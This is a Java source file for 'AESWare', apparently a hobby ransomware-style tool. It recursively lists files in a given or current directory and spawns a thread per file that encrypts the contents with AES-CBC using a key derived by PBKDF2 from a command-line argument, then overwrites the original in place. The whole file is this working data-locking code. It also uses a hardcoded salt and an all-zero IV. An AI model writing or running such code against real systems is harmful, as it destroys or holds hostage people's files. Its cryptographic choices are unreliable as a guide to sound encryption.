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1package org.AESware.nathan;
2
3import java.io.File;
4import java.io.FileOutputStream;
5import java.io.IOException;
6import java.nio.file.Files;
7import java.security.spec.KeySpec;
8import java.util.Vector;
9
10import javax.crypto.Cipher;
11import javax.crypto.SecretKey;
12import javax.crypto.SecretKeyFactory;
13import javax.crypto.spec.IvParameterSpec;
14import javax.crypto.spec.PBEKeySpec;
15import javax.crypto.spec.SecretKeySpec;
16
17public class AESWare {
18	static File f;
19	public static void main(String[] args) throws Exception {
20		if (args.length <= 1) {
21			System.out.println("ARRRRRRRRR matey you have to have args\n*.jar <24 char key> <optional: directory>");
22			return;
23		}
24		if (args.length == 2) {
25			f = new File(args[1]);
26		} else {
27			f = new File(".").getCanonicalFile();
28		}
29		Vector<File> v = findDIRs(f);
30		System.out.println(v);
31		for (int i=0;i<v.size();i++) {
32			encrypt e = new encrypt(v.get(i), args[0]);
33			e.start();
34		}
35	}
36	public static Vector<File> findDIRs(File folder) {
37		Vector<File> vv = new Vector<File>();
38	    for (final File fileEntry : folder.listFiles()) {
39	        if (fileEntry.isDirectory()) {
40	            findDIRs(fileEntry);
41	        } else {
42	            System.out.println(fileEntry.getName());
43	            vv.add(fileEntry);
44	        }
45	    }
46	    return vv;
47	}
48}
49class encrypt extends Thread {
50	private File file;
51	private byte[] fileB;
52	private byte[] encB;
53	private String salt = "123456789012345678";
54	private String key;
55	public encrypt(File file, String key) {
56		this.file = file;
57		this.key = key;
58	}
59	public void run() {
60		try {
61			fileB = Files.readAllBytes(file.toPath());
62			encB = encrypt(fileB, key);
63			FileOutputStream out = new FileOutputStream(file);
64			out.write(encB);
65			stop();
66			
67		} catch (Exception e) {
68			e.printStackTrace();
69		}
70	}
71	public byte[] encrypt(byte[] array, String key) throws Exception {
72		byte[] iv = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
73        IvParameterSpec ivspec = new IvParameterSpec(iv);
74        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
75        KeySpec spec = new PBEKeySpec(key.toCharArray(), salt.getBytes(), 65536, 128);
76        SecretKey tmp = factory.generateSecret(spec);
77        SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES");
78        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
79        cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivspec);
80        return cipher.doFinal(array);
81	}
82	
83}